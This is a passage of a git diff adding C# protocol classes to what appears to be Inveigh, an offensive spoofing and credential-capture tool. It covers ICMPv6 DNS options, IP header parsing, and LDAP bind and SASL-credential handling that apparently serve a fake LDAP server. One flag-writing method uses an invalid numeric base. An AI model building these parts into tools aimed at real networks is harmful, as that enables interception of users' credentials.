+ packetWriter.Write(this.CurHopLimit);
+ packetWriter.Write(this.Flags);
+ packetWriter.BigEndianWrite(this.RouterLifeTime);
+ packetWriter.BigEndianWrite(this.ReachableTime);
+ packetWriter.BigEndianWrite(this.RetransTimer);
+
+ if (!Utilities.ArrayIsNullOrEmpty(Options))
+ {
+ packetWriter.Write(this.Options);
+ }
+
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ protected virtual void WriteFlags()
+ {
+ string flags = this.M ? "1" : "0";
+ flags += this.O ? "1" : "0";
+ flags += this.Reserved;
+
+ for (int i = 0; i < 2; ++i)
+ {
+ this.Flags = Convert.ToByte(flags.Substring(8 * i, 8), 1); ;
+ }
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/ICMPv6/Options/ICMPv6DNSSearchList.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/ICMPv6/Options/ICMPv6DNSSearchList.cs
new file mode 100644
index 0000000..7eef831
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/ICMPv6/Options/ICMPv6DNSSearchList.cs
@@ -0,0 +1,43 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.ICMPv6
+{
+ class ICMPv6DNSSearchList
+ {
+ // https://datatracker.ietf.org/doc/html/rfc8106
+ public byte Type { get; set; }
+ public byte Length { get; set; }
+ public ushort Reserved { get; set; }
+ public uint Lifetime { get; set; }
+ public byte[] DomainNames { get; set; }
+
+ public ICMPv6DNSSearchList()
+ {
+ this.Type = 31;
+ this.Length = 0;
+ this.Reserved = 0;
+ this.Lifetime = 0;
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.Type);
+ packetWriter.Write(this.Length);
+ packetWriter.Write(this.Reserved);
+ packetWriter.BigEndianWrite(this.Lifetime);
+ packetWriter.Write(this.DomainNames);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/ICMPv6/Options/ICMPv6RecursiveDNS.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/ICMPv6/Options/ICMPv6RecursiveDNS.cs
new file mode 100644
index 0000000..2fa9f31
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/ICMPv6/Options/ICMPv6RecursiveDNS.cs
@@ -0,0 +1,73 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.ICMPv6
+{
+ class ICMPv6RecursiveDNS
+ {
+ // https://datatracker.ietf.org/doc/html/rfc5006#section-5.1
+ public byte Type { get; set; }
+ public byte Length { get; set; }
+ public ushort Reserved { get; set; }
+ public uint Lifetime { get; set; }
+ public byte[] RecursiveDNSServers { get; set; }
+
+ public ICMPv6RecursiveDNS()
+ {
+ this.Type = 25;
+ this.Length = 0;
+ this.Reserved = 0;
+ this.Lifetime = 0;
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.Type);
+ packetWriter.Write(this.Length);
+ packetWriter.Write(this.Reserved);
+ packetWriter.BigEndianWrite(this.Lifetime);
+ packetWriter.Write(this.RecursiveDNSServers);
+ return memoryStream.ToArray();
+ }
+
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/IP/IPHeader.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/IP/IPHeader.cs
new file mode 100644
index 0000000..80194ab
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/IP/IPHeader.cs
@@ -0,0 +1,81 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.IO;
+using System.Net;
+
+namespace Quiddity.IP
+{
+ class IPHeader
+ {
+ // https://datatracker.ietf.org/doc/html/rfc791#section-3.1
+ public int Version { get; set; }
+ public int IHL { get; set; }
+ public byte TypeOfService { get; set; }
+ public ushort TotalLength { get; set; }
+ public ushort Identification { get; set; }
+ public string Flags { get; set; }
+ public int FragmentOffset { get; set; }
+ public byte TimeToLive { get; set; }
+ public byte Protocol { get; set; }
+ public ushort HeaderChecksum { get; set; }
+ public IPAddress SourceAddress { get; set; }
+ public IPAddress DestinationAddress { get; set; }
+ public byte[] Options { get; set; }
+ public byte[] Padding { get; set; }
+
+ public void ReadBytes(byte[] data, int position)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = position;
+ string versionIHL = packetReader.ReadBinary(1);
+ this.Version = Convert.ToInt32(versionIHL.Substring(0, 4), 2);
+ this.IHL = Convert.ToInt32(versionIHL.Substring(4, 4), 2) * 4;
+ this.TypeOfService = packetReader.ReadByte();
+ this.TotalLength = packetReader.BigEndianReadUInt16();
+ this.Identification = packetReader.BigEndianReadUInt16();
+ string flagsFragmentOffset = packetReader.ReadBinary(2);
+ this.Flags = flagsFragmentOffset.Substring(0, 3);
+ this.FragmentOffset = Convert.ToInt32(flagsFragmentOffset.Substring(3, 13), 2);
+ this.TimeToLive = packetReader.ReadByte();
+ this.Protocol = packetReader.ReadByte();
+ this.HeaderChecksum = packetReader.BigEndianReadUInt16();
+ this.SourceAddress = new IPAddress(packetReader.ReadBytes(4));
+ this.DestinationAddress = new IPAddress(packetReader.ReadBytes(4));
+ }
+
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/LDAPMessage.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/LDAPMessage.cs
new file mode 100644
index 0000000..18445ba
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/LDAPMessage.cs
@@ -0,0 +1,182 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.DirectoryServices.Protocols;
+using Quiddity.Support;
+
+namespace Quiddity.LDAP
+{
+ // https://datatracker.ietf.org/doc/html/rfc2251#section-4.2
+ class LDAPMessage
+ {
+ public int MessageID { get; set; }
+ public object ProtocolOp { get; set; }
+ public byte[] Controls { get; set; }
+
+ //custom
+
+ public int Tag { get; set; }
+
+ public byte[] Encode()
+ {
+ return BerConverter.Encode("{iX}", this.MessageID, this.ProtocolOp);
+ }
+
+ public byte[] Encode(int type)
+ {
+
+ switch (type)
+ {
+
+ case 3:
+ {
+ LDAPBindResponse protocolOp = (LDAPBindResponse)this.ProtocolOp;
+ return BerConverter.Encode("{it{eooto}}", this.MessageID, 0x61, protocolOp.ResultCode, protocolOp.MatchedDN, protocolOp.DiagnosticMessage, 0x87, protocolOp.ServerSaslCreds);
+ }
+
+ case 4:
+ {
+ LDAPSearchResEntry protocolOp = (LDAPSearchResEntry)this.ProtocolOp;
+ return BerConverter.Encode("{it{sto}}", this.MessageID, 0x64, protocolOp.ObjectDN, 0x30, protocolOp.Attributes);
+ }
+
+ case 5:
+ {
+ LDAPSearchResDone protocolOp = (LDAPSearchResDone)this.ProtocolOp;
+ return BerConverter.Encode("{it{eoo}}", this.MessageID, 0x65, protocolOp.ResultCode, protocolOp.MatchedDN, protocolOp.ErrorMessage);
+ }
+
+ }
+
+ return null;
+ }
+
+ public byte[] Encode(LDAPSearchResDone resdone)
+ {
+ return BerConverter.Encode("{it{eoo}}", this.MessageID, 0x65, resdone.ResultCode, resdone.MatchedDN, resdone.ErrorMessage);
+ }
+
+ public byte[] Encode(LDAPSearchResEntry search)
+ {
+ return BerConverter.Encode("{it{stX}}", this.MessageID, 0x64, search.ObjectDN, 0x30, search.Attributes);
+ }
+
+ public void Decode(byte[] data)
+ {
+ this.Tag = GetMessageType(data);
+ object[] message = BerConverter.Decode("{iV}", data);
+ this.MessageID = (int)message[0];
+ this.ProtocolOp = message[1];
+ }
+
+ public static int GetLength(int index, byte[] data)
+ {
+ int length = 0;
+
+ switch (data[index])
+ {
+
+ case 0x84:
+ {
+ index++;
+ byte[] valueLength = new byte[4];
+ Buffer.BlockCopy(data, index, valueLength, 0, 4);
+ Array.Reverse(valueLength);
+ length = BitConverter.ToInt32(valueLength, 0);
+ length += 4;
+ }
+ break;
+
+ }
+
+ return length;
+ }
+
+ public static int GetMessageType(byte[]data)
+ {
+ int type = -1;
+ int index = 1;
+ byte tag;
+ int valueLength = data[index++];
+
+ if ((valueLength & 0x80) == 0x80)
+ {
+ int length = valueLength & 0x7f;
+ valueLength = 0;
+
+ for (int i = 0; i < length; i++)
+ {
+ valueLength = valueLength * 256 + data[index++];
+ }
+
+ }
+ else
+ {
+ index += valueLength;
+ }
+
+ index++;
+ valueLength = data[index];
+
+ if ((valueLength & 0x80) == 0x80)
+ {
+ int length = valueLength & 0x7f;
+ valueLength = 0;
+
+ for (int i = 0; i < length; i++)
+ {
+ valueLength = valueLength * 256 + data[index++];
+ }
+
+ }
+ else
+ {
+ index += valueLength;
+ }
+
+ index++;
+ tag = data[index];
+
+ if ((tag & 0x60) == 0x60 || (tag & 0x40) == 0x40)
+ {
+ type = tag & 0x1f;
+ }
+
+ return type;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindRequest.cs
new file mode 100644
index 0000000..8d10047
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindRequest.cs
@@ -0,0 +1,23 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.LDAP
+{
+ class LDAPBindRequest
+ {
+ public byte[] Version { get; set; }
+ public byte[] Name { get; set; }
+ public byte[] Authentication { get; set; }
+
+ public void ReadBytes(byte[][] Data)
+ {
+ this.Version = (byte[])Data.GetValue(0);
+ this.Name = (byte[])Data.GetValue(1);
+ this.Authentication = (byte[])Data.GetValue(2);
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindResponse.cs
new file mode 100644
index 0000000..26720cd
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindResponse.cs
@@ -0,0 +1,18 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.LDAP
+{
+ class LDAPBindResponse : LDAPResult
+ {
+ public byte[] ServerSaslCreds { get; set; }
+
+ public LDAPBindResponse()
+ {
+ this.ResultCode = 14;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPPartialAttributeList.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPPartialAttributeList.cs
new file mode 100644
index 0000000..43f565b
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPPartialAttributeList.cs
@@ -0,0 +1,13 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.LDAP
+{
+ class LDAPPartialAttributeList
+ {
+ public string Type { get; set; }
+ public string[] Vals { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchRequest.cs
new file mode 100644
index 0000000..ee697b7
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchRequest.cs
@@ -0,0 +1,46 @@
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.DirectoryServices.Protocols;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.LDAP
+{
+ class LDAPSearchRequest
+ {
+ public byte[] BaseObject { get; set; }
+ public byte[] Scope { get; set; }
+ public byte[] DerefAliases { get; set; }
+ public byte[] SizeLimit { get; set; }
+ public byte[] TimeLimit { get; set; }
+ public byte[] TypesOnly { get; set; }
+ public byte[] Filter { get; set; }
+ public string[] Attributes { get; set; }
+
+ public void ReadBytes(byte[][] Data)
+ {
+ this.BaseObject = (byte[])Data.GetValue(0);
+ this.Scope = (byte[])Data.GetValue(1);
+ this.DerefAliases = (byte[])Data.GetValue(2);
+ this.SizeLimit = (byte[])Data.GetValue(3);
+ this.TimeLimit = (byte[])Data.GetValue(4);
+ this.TypesOnly = (byte[])Data.GetValue(5);
+ this.Filter = (byte[])Data.GetValue(6);
+ this.Attributes = ASN1.DecodeOctetStringArray((byte[])Data.GetValue(7));
+ }
+
+ public object[] Decode(byte[] Data)
+ {
+ return BerConverter.Decode("{OiiiiiOO}", Data);
+ }
+
+ public object[] Decode2(byte[] Data)
+ {
+ return BerConverter.Decode("{B}", Data);
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResDone.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResDone.cs
new file mode 100644
index 0000000..a62f9a5
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResDone.cs
@@ -0,0 +1,22 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.DirectoryServices.Protocols;
+
+namespace Quiddity.LDAP
+{
+ class LDAPSearchResDone
+ {
+ public int ResultCode { get; set; }
+ public byte[] MatchedDN { get; set; }
+ public byte[] ErrorMessage { get; set; }
+
+ public byte[] Encode()
+ {
+ return BerConverter.Encode("t{eoo}", 0x65, this.ResultCode, this.MatchedDN, this.ErrorMessage); ;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResEntry.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResEntry.cs
new file mode 100644
index 0000000..c1a6f1e
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResEntry.cs
@@ -0,0 +1,25 @@
+using System;
+using System.Collections.Generic;
+using System.DirectoryServices.Protocols;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.LDAP
+{
+ class LDAPSearchResEntry
+ {
+ public string ObjectDN { get; set; }
+ public byte[] Attributes { get; set; }
+
+ public byte[] Encode()
+ {
+ return BerConverter.Encode("t{stX}", new object[] { 0x64, this.ObjectDN, 0x30, this.Attributes } );
+ }
+
+ public byte[] Encode(Object[] Segment)
+ {
+ return BerConverter.Encode("t{s{V}}", 0x64, this.ObjectDN, Segment);
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPResult.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPResult.cs
new file mode 100644
index 0000000..5d53155
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPResult.cs
@@ -0,0 +1,46 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.LDAP
+{
+ class LDAPResult
+ {
+ public int ResultCode { get; set; }
+ public byte[] MatchedDN { get; set; }
+ public byte[] DiagnosticMessage { get; set; }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPSaslCredentials.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPSaslCredentials.cs
new file mode 100644
index 0000000..a9f9670
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPSaslCredentials.cs
@@ -0,0 +1,52 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.LDAP
+{
+ class LDAPSaslCredentials
+ {
+ public string Mechanism { get; set; }
+ public byte[] Credentials { get; set; }
+
+ public void ReadBytes(byte[] Data)
+ {
+ this.Mechanism = Encoding.UTF8.GetString(ASN1.GetTagBytes(4, Data));
+ this.Credentials = ASN1.GetTagBytes(4, Data, ASN1.GetLength(1, Data));
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPSupportedCapabilities.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPSupportedCapabilities.cs
new file mode 100644
index 0000000..087889b
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPSupportedCapabilities.cs
@@ -0,0 +1,55 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.DirectoryServices.Protocols;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.LDAP
+{
+ class LDAPSupportedCapabilities : LDAPPartialAttributeList
+ {
+
+ public LDAPSupportedCapabilities()
+ {
+ this.Type = "supportedCapabilities";
+ this.Vals = new string[] { "1.2.840.113556.1.4.800", "1.2.840.113556.1.4.1670", "1.2.840.113556.1.4.1791", "1.2.840.113556.1.4.1935", "1.2.840.113556.1.4.2080", "1.2.840.113556.1.4.2237" };
+ }
+
+ public byte[] Encode()
+ {
+ return BerConverter.Encode("{st{v}}", this.Type, 0x31, this.Vals);
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPSupportedSASLMechanisms.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPSupportedSASLMechanisms.cs
new file mode 100644
index 0000000..3db038e
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPSupportedSASLMechanisms.cs
@@ -0,0 +1,56 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
